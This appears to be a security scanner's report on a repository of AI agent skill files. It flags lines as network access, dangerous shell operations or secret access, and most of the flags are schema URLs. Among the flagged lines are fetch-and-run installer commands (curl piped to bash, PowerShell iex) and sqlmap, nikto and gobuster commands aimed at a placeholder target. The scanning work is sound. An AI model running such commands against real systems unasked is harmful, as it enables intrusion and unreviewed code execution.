targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 6
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 8
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 9
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 10
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatib - Network accessline 11
targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 14
schemaLocation="dml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" schemaLocation="shared-math.xsd"/> - Network accessline 15
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 16
schemaLocation="shared-math.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 17
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 18
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 19
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 20
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" schemaLocation="shared-customXmlSchemaProperties.xsd"/> - Network accessline 21
<xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 22
schemaLocation="shared-customXmlSchemaProperties.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> <xsd:complexType name="CT_Empty"/> - Network accessline 23
<xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd
- Network accessline 1
<?xml version='1.0'?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 2
<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 4
<xs:annotation> <xs:documentation> See http://www.w3.org/XML/1998/namespace.html and - Network accessline 5
<xs:documentation> See http://www.w3.org/XML/1998/namespace.html and http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 6
See http://www.w3.org/XML/1998/namespace.html and - Network accessline 7
http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 55
<schema . . .> . . . <import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 56
. . . <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 57
<import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 58
schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 72
<xs:documentation>In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. - Network accessline 73
policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. At the date of issue it can also be found at - Network accessline 74
http://www.w3.org/2001/03/xml.xsd. - Network accessline 75
At the date of issue it can also be found at http://www.w3.org/2001/xml.xsd. The schema document at that URI may however change in the future, - Network accessline 76
http://www.w3.org/2001/xml.xsd. - Network accessline 79
itself. In other words, if the XML Schema namespace changes, the version of this document at http://www.w3.org/2001/xml.xsd will change - Network accessline 80
of this document at http://www.w3.org/2001/xml.xsd will change accordingly; the version at - Network accessline 81
http://www.w3.org/2001/xml.xsd will change - Network accessline 82
accordingly; the version at http://www.w3.org/2001/03/xml.xsd will not change. </xs:documentation> - Network accessline 83
http://www.w3.org/2001/03/xml.xsd will not change. - Network accessline 103
<xs:attribute name="base" type="xs:anyURI"> <xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for - Network accessline 104
<xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for information about this attribute.</xs:documentation> - Network accessline 105
<xs:documentation>See http://www.w3.org/TR/xmlbase/ for
skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 2
<xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 3
xmlns:xs="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types"
skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 2
<xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 4
xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/" - Network accessline 5
xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all"> - Network accessline 7
<xs:import namespace="http://purl.org/dc/elements/1.1/" - Network accessline 8
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/> - Network accessline 9
<xs:import namespace="http://purl.org/dc/terms/" - Network accessline 10
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/> - Network accessline 11
<xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/>
skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd
- Network accessline 1
<?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature"
skills/docx-official/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships"
skills/docx-official/ooxml/schemas/mce/mc.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 2
<xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 3
attributeFormDefault="unqualified" elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 5
xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 7
<!-- This XSD is a modified version of the one found at: https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 9
https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 15
<w:document xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 16
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 17
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/docx-official/ooxml/schemas/microsoft/wml-2010.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.op - Network accessline 2
<!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> --> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/> - Network accessline 5
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> -->
skills/docx-official/ooxml/schemas/microsoft/wml-2012.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" att - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 3
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/docx-official/ooxml/schemas/microsoft/wml-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/docx-official/ooxml/schemas/microsoft/wml-cex-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft. - Network accessline 2
<xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/docx-official/ooxml/schemas/microsoft/wml-cid-2016.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/docx-official/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/docx-official/ooxml/schemas/microsoft/wml-symex-2015.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/docx-official/ooxml/scripts/pack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/docx-official/ooxml/scripts/unpack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/docx-official/ooxml/scripts/validate.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/docx-official/ooxml/scripts/validation/__init__.py
- Executable scriptline 1
Executable file
skills/docx-official/ooxml/scripts/validation/base.py
- Executable scriptline 1
Executable file - Network accessline 70
MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 71
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" - Network accessline 74
PACKAGE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 75
"http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 76
) OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 77
OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" ) - Network accessline 78
"http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 79
) CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 80
CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" ) - Network accessline 81
"http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 88
OOXML_NAMESPACES = { "http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 89
"http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 90
"http://schemas.openxmlformats.org/officeDocument/2006/relationships", - Network accessline 91
"http://schemas.openxmlformats.org/schemaLibrary/2006/main", - Network accessline 92
"http://schemas.openxmlformats.org/drawingml/2006/main", - Network accessline 93
"http://schemas.openxmlformats.org/drawingml/2006/chart", - Network accessline 94
"http://schemas.openxmlformats.org/drawingml/2006/chartDrawing", - Network accessline 95
"http://schemas.openxmlformats.org/drawingml/2006/diagram", - Network accessline 96
"http://schemas.openxmlformats.org/drawingml/2006/picture", - Network accessline 97
"http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing", - Network accessline 98
"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing", - Network accessline 99
"http://schemas.openxmlformats.org/wordprocessingml/2006/main", - Network accessline 100
"http://schemas.openxmlformats.org/presentationml/2006/main", - Network accessline 101
"http://schemas.openxmlformats.org/spreadsheetml/2006/main", - Network accessline 102
"http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes", - Network accessline 103
"http://www.w3.org/XML/1998/namespace",
skills/docx-official/ooxml/scripts/validation/docx.py
skills/docx-official/ooxml/scripts/validation/pptx.py
skills/docx-official/ooxml/scripts/validation/redlining.py
- Executable scriptline 1
Executable file - Network accessline 17
self.verbose = verbose self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 18
self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" } - Network accessline 19
"w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/docx-official/scripts/__init__.py
- Executable scriptline 1
Executable file
skills/docx-official/scripts/document.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 93
root.setAttribute( # type: ignore "xmlns:w16du", "http://schemas.microsoft.com/office/word/2023/wordml/word16du", - Network accessline 94
"xmlns:w16du", "http://schemas.microsoft.com/office/word/2023/wordml/word16du", ) - Network accessline 95
"http://schemas.microsoft.com/office/word/2023/wordml/word16du", - Network accessline 102
root.setAttribute( # type: ignore "xmlns:w16cex", "http://schemas.microsoft.com/office/word/2018/wordml/cex", - Network accessline 103
"xmlns:w16cex", "http://schemas.microsoft.com/office/word/2018/wordml/cex", ) - Network accessline 104
"http://schemas.microsoft.com/office/word/2018/wordml/cex", - Network accessline 111
root.setAttribute( # type: ignore "xmlns:w14", "http://schemas.microsoft.com/office/word/2010/wordml", - Network accessline 112
"xmlns:w14", "http://schemas.microsoft.com/office/word/2010/wordml", ) - Network accessline 113
"http://schemas.microsoft.com/office/word/2010/wordml", - Network accessline 445
wrapper = f'<root xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">{xml_content}</root>' - Network accessline 985
rel_xml = f'<{prefix}Relationship Id="{next_rid}" Type="http://schemas.microsoft.com/office/2011/relationships/people" Target="people.xml"/>' - Network accessline 1217
( next_rid_num, "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments", - Network accessline 1218
next_rid_num, "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments", "comments.xml", - Network accessline 1219
"http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments", - Network accessline 1222
( next_rid_num + 1, "http://schemas.microsoft.com/office/2011/relationships/commentsExtended", - Network accessline 1223
next_rid_num + 1, "http://schemas.microsoft.com/office/2011/relationships/commentsExtended", "commentsExtended.xml", - Network accessline 1224
"http://schemas.microsoft.com/office/2011/relationships/commentsExtended", - Network accessline 1227
( next_rid_num + 2, "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds", - Network accessline 1228
next_rid_num + 2, "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds", "commentsIds.xml", - Network accessline 1229
"http://schemas.microsoft.com/office/2016/09/relationships/commentsIds", - Network accessline 1232
( next_rid_num + 3, "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible", - Network accessline 1233
next_rid_num + 3, "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible", "commentsExtensible.xml", - Network accessline 1234
"http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible",
skills/docx-official/scripts/templates/comments.xml
- Network accessline 1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:comments xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas - Network accessline 2
<w:comments xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx
skills/docx-official/scripts/templates/commentsExtended.xml
- Network accessline 1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w15:commentsEx xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://sch - Network accessline 2
<w15:commentsEx xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmln
skills/docx-official/scripts/templates/commentsExtensible.xml
- Network accessline 1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w16cex:commentsExtensible xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1= - Network accessline 2
<w16cex:commentsExtensible xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/ch
skills/docx-official/scripts/templates/commentsIds.xml
- Network accessline 1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w16cid:commentsIds xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http:/ - Network accessline 2
<w16cid:commentsIds xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex"
skills/docx-official/scripts/templates/people.xml
skills/docx-official/scripts/utilities.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/dotnet-backend/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Bash
skills/dropbox-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/e2e-testing-patterns/resources/implementation-playbook.md
- Network accessline 63
], use: { baseURL: 'http://localhost:3000', - Network accessline 64
use: { baseURL: 'http://localhost:3000', trace: 'on-first-retry', - Network accessline 65
baseURL: 'http://localhost:3000', - Network accessline 287
export default defineConfig({ e2e: { baseUrl: 'http://localhost:3000', - Network accessline 288
e2e: { baseUrl: 'http://localhost:3000', viewportWidth: 1280, - Network accessline 289
baseUrl: 'http://localhost:3000',
skills/embedding-strategies/SKILL.md
skills/employment-contract-templates/resources/implementation-playbook.md
skills/environment-setup-guide/SKILL.md
- Network accessline 83
\`\`\`bash # Install Homebrew if not installed /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" - Dangerous shell operationline 85
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" - Network accessline 85
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" - Dangerous shell operationline 94
sudo apt update - Network accessline 96
# Install Node.js and npm curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - - Dangerous shell operationline 97
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - - Network accessline 97
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - - Dangerous shell operationline 98
sudo apt install -y nodejs - Network accessline 102
\`\`\`powershell # Install Chocolatey if not installed Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object Sys - Network accessline 104
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.ch - Network accessline 119
\`\`\`bash # Clone the repository git clone https://github.com/your-repo/project.git - Network accessline 120
# Clone the repository git clone https://github.com/your-repo/project.git cd project - Network accessline 121
git clone https://github.com/your-repo/project.git - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Network accessline 153
# Should see: Server running on http://localhost:3000 - Dangerous shell operationline 185
sudo apt update - Dangerous shell operationline 186
sudo apt install python3.11 python3.11-venv python3-pip - Network accessline 244
# Should see: Running on http://127.0.0.1:5000 - Network accessline 262
\`\`\`bash # Install Docker curl -fsSL https://get.docker.com -o get-docker.sh - Network accessline 263
# Install Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh - Network accessline 264
curl -fsSL https://get.docker.com -o get-docker.sh - Dangerous shell operationline 265
sudo sh get-docker.sh - Dangerous shell operationline 268
sudo usermod -aG docker $USER - Dangerous shell operationline 419
sudo systemctl status postgresql - Access to secretsline 445
[Credential-related source omitted] - Access to secretsline 446
[Credential-related source omitted] - Access to secretsline 447
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Network accessline 471
- [Node.js Installation Guide](https://nodejs.org/en/download/) - Network accessline 472
- [Python Virtual Environments](https://docs.python.org/3/tutorial/venv.html) - Network accessline 473
- [Docker Documentation](https://docs.docker.com/get-started/) - Network accessline 474
- [Homebrew (macOS)](https://brew.sh/) - Network accessline 475
- [Chocolatey (Windows)](https://chocolatey.org/) - Network accessline 476
- [nvm (Node Version Manager)](https://github.com/nvm-sh/nvm) - Network accessline 477
- [pyenv (Python Version Manager)](https://github.com/pyenv/pyenv)
skills/error-debugging-error-analysis/resources/implementation-playbook.md
- Network accessline 701
// Usage const result = await retryWithBackoff( () => fetch('https://api.example.com/data'), - Network accessline 702
const result = await retryWithBackoff( () => fetch('https://api.example.com/data'), { - Network accessline 703
() => fetch('https://api.example.com/data'), - Network accessline 946
Runbook: https://wiki.company.com/runbooks/payment-errors - Network accessline 984
Dashboard: https://app.datadoghq.com/dashboard/payment-service - Network accessline 1101
Updates: Will provide update every 15 minutes Status Page: https://status.company.com/incident/abc123 - Network accessline 1102
Status Page: https://status.company.com/incident/abc123
skills/error-debugging-error-trace/resources/implementation-playbook.md
- Access to secretsline 364
[Credential-related source omitted] - Network accessline 404
private async sendEvents(events: ErrorEvent[]) { const response = await fetch(this.config.endpoint, { - Network accessline 405
const response = await fetch(this.config.endpoint, { - Network accessline 735
# Send to Slack async with aiohttp.ClientSession() as session: - Network accessline 736
async with aiohttp.ClientSession() as session:
skills/error-diagnostics-error-analysis/resources/implementation-playbook.md
- Network accessline 701
// Usage const result = await retryWithBackoff( () => fetch('https://api.example.com/data'), - Network accessline 702
const result = await retryWithBackoff( () => fetch('https://api.example.com/data'), { - Network accessline 703
() => fetch('https://api.example.com/data'), - Network accessline 946
Runbook: https://wiki.company.com/runbooks/payment-errors - Network accessline 984
Dashboard: https://app.datadoghq.com/dashboard/payment-service - Network accessline 1101
Updates: Will provide update every 15 minutes Status Page: https://status.company.com/incident/abc123 - Network accessline 1102
Status Page: https://status.company.com/incident/abc123
skills/error-diagnostics-error-trace/resources/implementation-playbook.md
- Access to secretsline 374
[Credential-related source omitted] - Network accessline 414
private async sendEvents(events: ErrorEvent[]) { const response = await fetch(this.config.endpoint, { - Network accessline 415
const response = await fetch(this.config.endpoint, { - Network accessline 745
# Send to Slack async with aiohttp.ClientSession() as session: - Network accessline 746
async with aiohttp.ClientSession() as session:
skills/error-handling-patterns/resources/implementation-playbook.md
- Network accessline 144
@retry(max_attempts=3, exceptions=(NetworkError,)) def fetch_data(url: str) -> dict: response = requests.get(url, timeout=5) - Network accessline 145
def fetch_data(url: str) -> dict: response = requests.get(url, timeout=5) response.raise_for_status() - Network accessline 146
response = requests.get(url, timeout=5) - Network accessline 260
// Promise error handling function fetchData(url: string): Promise<Data> { return fetch(url) - Network accessline 261
function fetchData(url: string): Promise<Data> { return fetch(url) .then(response => { - Network accessline 262
return fetch(url)
skills/ethical-hacking-methodology/SKILL.md
- Network accessline 190
# Nikto web scanner nikto -h http://target.com - Network accessline 191
nikto -h http://target.com - Network accessline 214
# Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 215
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 262
# SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs - Network accessline 263
sqlmap -u "http://target.com/page.php?id=1" --dbs - Network accessline 264
sqlmap -u "http://target.com/page.php?id=1" -D database --tables - Access to secretsline 284
[Credential-related source omitted] - Dangerous shell operationline 303
# Check sudo permissions - Dangerous shell operationline 304
sudo -l
skills/evaluation/SKILL.md
- Network accessline 2
name: evaluation description: "Build evaluation frameworks for agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation" - Network accessline 3
description: "Build evaluation frameworks for agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation"
skills/event-store-design/SKILL.md
- Network accessline 209
"""Read events from a stream.""" async with self.pool.acquire() as conn: rows = await conn.fetch( - Network accessline 210
async with self.pool.acquire() as conn: rows = await conn.fetch( """ - Network accessline 211
rows = await conn.fetch( - Network accessline 229
"""Read all events globally.""" async with self.pool.acquire() as conn: rows = await conn.fetch( - Network accessline 230
async with self.pool.acquire() as conn: rows = await conn.fetch( """ - Network accessline 231
rows = await conn.fetch( - Network accessline 449
- [EventStoreDB](https://www.eventstore.com/) - Network accessline 450
